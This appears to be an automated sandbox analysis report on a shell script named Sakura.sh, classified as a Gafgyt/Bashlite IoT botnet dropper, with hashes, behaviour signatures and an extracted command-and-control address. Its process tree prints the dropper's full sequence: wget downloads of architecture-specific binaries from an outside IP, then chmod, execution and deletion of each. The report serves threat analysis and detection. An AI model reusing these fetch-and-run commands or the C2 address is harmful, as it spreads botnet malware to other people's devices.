Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
151s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
-
submitted
18/02/2025, 19:22
General
-
Target
Sakura.sh
-
Size
2KB
-
MD5
ad70f1b36e82acde577b779fd8b6cd8d
-
SHA1
75537881fb592d2f8bb6fe38f9388d6ddf28d960
-
SHA256
e714fd9d746500c323367921c534fe1b33fcc17abb3346595a67d85542321bb8
-
SHA512
e3e61724a4d9bbb6df2ee9652c475cf0b9750baa6c285f36eac9ef8cf698a842a7366323fa2438c400c8b23c5755918320139aef1cbe79984aa4a21617874865
Malware Config
Extracted
gafgyt
87.251.79.180:12345
Signatures
-
Detected Gafgyt variant 11 IoCs
-
Gafgyt family
-
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
-
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 13 IoCs
-
Reads system routing table 1 TTPs 2 IoCs
Gets active network interfaces from /proc virtual filesystem.
-
Reads system network configuration 1 TTPs 2 IoCs
Uses contents of /proc filesystem to enumerate network settings.
-
Writes file to tmp directory 13 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/Sakura.sh/tmp/Sakura.sh1⤵
- Executes dropped EXE
- Reads system routing table
- Reads system network configuration
-
/usr/bin/wgetwget http://87.251.79.180/m-i.p-s.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x m-i.p-s.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/m-i.p-s.Sakura./m-i.p-s.Sakura2⤵
-
-
/bin/rmrm -rf m-i.p-s.Sakura2⤵
-
-
/usr/bin/wgetwget http://87.251.79.180/m-p.s-l.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x m-p.s-l.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/m-p.s-l.Sakura./m-p.s-l.Sakura2⤵
-
-
/bin/rmrm -rf m-p.s-l.Sakura2⤵
-
-
/usr/bin/wgetwget http://87.251.79.180/s-h.4-.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x s-h.4-.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/s-h.4-.Sakura./s-h.4-.Sakura2⤵
-
-
/bin/rmrm -rf s-h.4-.Sakura2⤵
-
-
/usr/bin/wgetwget http://87.251.79.180/x-8.6-.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x x-8.6-.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/x-8.6-.Sakura./x-8.6-.Sakura2⤵
- Reads system routing table
- Reads system network configuration
-
-
/bin/rmrm -rf x-8.6-.Sakura2⤵
-
-
/usr/bin/wgetwget http://87.251.79.180/a-r.m-6.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x a-r.m-6.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/a-r.m-6.Sakura./a-r.m-6.Sakura2⤵
-
-
/bin/rmrm -rf a-r.m-6.Sakura2⤵
-
-
/usr/bin/wgetwget http://87.251.79.180/x-3.2-.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x x-3.2-.Sakura2⤵
- File and Directory Permissions Modification
-
-
/bin/rmrm -rf x-3.2-.Sakura2⤵
-
-
/usr/bin/wgetwget http://87.251.79.180/a-r.m-7.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x a-r.m-7.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/a-r.m-7.Sakura./a-r.m-7.Sakura2⤵
-
-
/bin/rmrm -rf a-r.m-7.Sakura2⤵
-
-
/usr/bin/wgetwget http://87.251.79.180/p-p.c-.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x p-p.c-.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/p-p.c-.Sakura./p-p.c-.Sakura2⤵
-
-
/bin/rmrm -rf p-p.c-.Sakura2⤵
-
-
/usr/bin/wgetwget http://87.251.79.180/i-5.8-6.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x i-5.8-6.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/i-5.8-6.Sakura./i-5.8-6.Sakura2⤵
-
-
/bin/rmrm -rf i-5.8-6.Sakura2⤵
-
-
/usr/bin/wgetwget http://87.251.79.180/m-6.8-k.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x m-6.8-k.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/m-6.8-k.Sakura./m-6.8-k.Sakura2⤵
-
-
/bin/rmrm -rf m-6.8-k.Sakura2⤵
-
-
/usr/bin/wgetwget http://87.251.79.180/p-p.c-.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x p-p.c-.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/p-p.c-.Sakura./p-p.c-.Sakura2⤵
-
-
/bin/rmrm -rf p-p.c-.Sakura2⤵
-
-
/usr/bin/wgetwget http://87.251.79.180/a-r.m-4.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x a-r.m-4.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/a-r.m-4.Sakura./a-r.m-4.Sakura2⤵
-
-
/bin/rmrm -rf a-r.m-4.Sakura2⤵
-
-
/usr/bin/wgetwget http://87.251.79.180/a-r.m-5.Sakura2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x a-r.m-5.Sakura2⤵
- File and Directory Permissions Modification
-
-
/tmp/a-r.m-5.Sakura./a-r.m-5.Sakura2⤵
-
-
/bin/rmrm -rf a-r.m-5.Sakura2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
98KB
MD539d382cb3f8fe19212ad98b82e2cded8
SHA1d240dc083ffd27dba09c2c4aaa7926bc91ccb2ca
SHA25649e3fe8176e4405796a225c0a2f9ce39b3efa0736dc1ce253c0d4c76bd89d8ca
SHA512580856dafaba853524cbaec415c0c20363768d306761060f4214d7f7824708181f16b7d3a6c43d58eb9ceafee52456c3e9b9685b205ad447a4bf4e4c6997f03e
-
Filesize
118KB
MD5230fded12db7339d3a9fef64248e25a9
SHA1e41493b48e0ffcdd3f84ce7fbf7c37e367dbef51
SHA256d71a424563270b288070cd8e7c35e0636422c96a24f7e39ba6eb4c1be4b48d14
SHA5129263f03e6feb56b55cb133918aaacb45fa7495634377bce017505a30c02b66ae693e6cc72cf985fb5c27eb689543792617ba4c22580927f9df919b8fb6527bbd
-
Filesize
91KB
MD54b1f83e191c1fda1e0441aa94da85cd6
SHA10ec28049e0a19d0ed9880bffdef9435b69dc1be2
SHA2562284444c6b45845f09c9ed0bae3ba43ae7177d34630213a6cf8b79c2a98c458a
SHA5124c05ed93bb1d623c03a5a53fb78be3fe209e50bf2d4b47f6e65df19b779f1ff282b823ccd7c26433874a3355d57f8c4902457e0d6b74204b9ec692b93dc95b6f
-
Filesize
96KB
MD5a3aa48b845ac8be0053c78dc729b68df
SHA179ddf8a413f85d715247a9f2060fbaa3b94ddacd
SHA256a5cf164f6966ecd73195c68a9122deafdf2a7fa80b029b9fb5fbffeea139f2e8
SHA512b4fccb7ad12df985d2933bd7f1e46b532fb813a0a34fb8349cbdcf3b23094f254b77579f42404b44057a6436bfc3e38b66b77df3710ceaf13f9acf4ed3be5c75
-
Filesize
156KB
MD5ff60dec55424ba5ad6976a5cbec4dbac
SHA1ecf2c65f29cac600ad8622d5b950c2471b225641
SHA25672807c35f0fa3b7b6fc3cb7980c2db8e18a6133ef3da827546e87505a6d933b9
SHA512ad04ac10c34bed5db70204e7db7d76b92bad563d73b425cfa3aba457fca88c67b037119d50bc4edff1fb5414151862dfde6749ffad72de1d27f77f1e72320af4
-
Filesize
123KB
MD589baf8a811dc892fc622c12d249fec06
SHA1d04ae8d3fc365aa2d7499f8120069666881bf794
SHA256a23b88938a22c85d32e6e74a538281f724db6f4bfc6adc869f9aeee58855e149
SHA512cf0b70f2333897eda18f80d4456700f91b462b4d0af9e3ae99dcc43b45b45d27b503691528c47b9be1c2ae8b3bc96d92c6966cf1d6a014bbcdfb64d94710c893
-
Filesize
123KB
MD5301abf86c75d3c8e4bf26d4c0ea8aafa
SHA10e60857bf7d0a8d5eddd850042682b14aec03017
SHA2565ab6f4941c390d0c882f0ea0572c94282b6c7262ae288928d4a7461e1f87a5f2
SHA5129ecdfe31bc874ee7ce5c3e02844d5660d6420b4478a4ed08fbf478ffb07b6b27a9aebff57682fd10219227f9516c0c18d59f22297ec848e854e79aa4fcc5c7fa
-
Filesize
105KB
MD5212450f9dbb99390dedafec72be65ab1
SHA1afffa9700118c0840519970eca8890cba9cd1563
SHA256618c3e2a8bc6b97188b8eb0d25b937711946c23206bb09b5be008b9969a81974
SHA512fa73feaa08ee1f822ce0829f1b3ce6f8ea1a06cbb7e397699fa792b324eca1f0c223a9d041faad1068a795af918b376e992786e3d40473a5cd19b0400d46a926
-
Filesize
86KB
MD516cb232f26bfda683ef74182627ff3d5
SHA179805198d3660ea9a1686b8a79d236e785896919
SHA25673da39758288f46e00b0fedcf2544676d7c748d8aba002263668fcce604941fb
SHA5129bca8151c28e32651bb2fd29ab0a465d458708eeb384f89f3d31e9c19f36d393a92ad237598ad51c0bf04b060382a02337ed5003f1fa81a1642c68f4acc3030a
-
Filesize
83KB
MD59407f2e571451c2980a284725a28da80
SHA1a9181678ee792658f0408a89acb0e5ddc8972260
SHA256b67b9fb5c81dc96e34c12e5ffebe16db92bb03d2d1fa6dbe16f212992b764f3d
SHA5124218ba1fd072c1b8c0974e73530413a141e864c00c5593bd2219db57585f2d2d9aaedb9751b3f2c8baa40eebd6b976b9c573411f912e192f0319fb9b85130fac
-
Filesize
92KB
MD5cd3083795e82e94e9f12349e5e0f308e
SHA1da31faa030e36a3d66e36025d5f9bd90da168795
SHA2565f93cde41bf79ff93865979d26497fade27d144095d4c0f6d4016e156c4699b7
SHA51240a13cb82f1fd5cfea6c2bb5b368af82deb783c414cc1b86dfa771d57845e7c7f1c91a605235871e3bc4f90ed7acabb5a22e48006fa61448d5a6cacc1e3d546e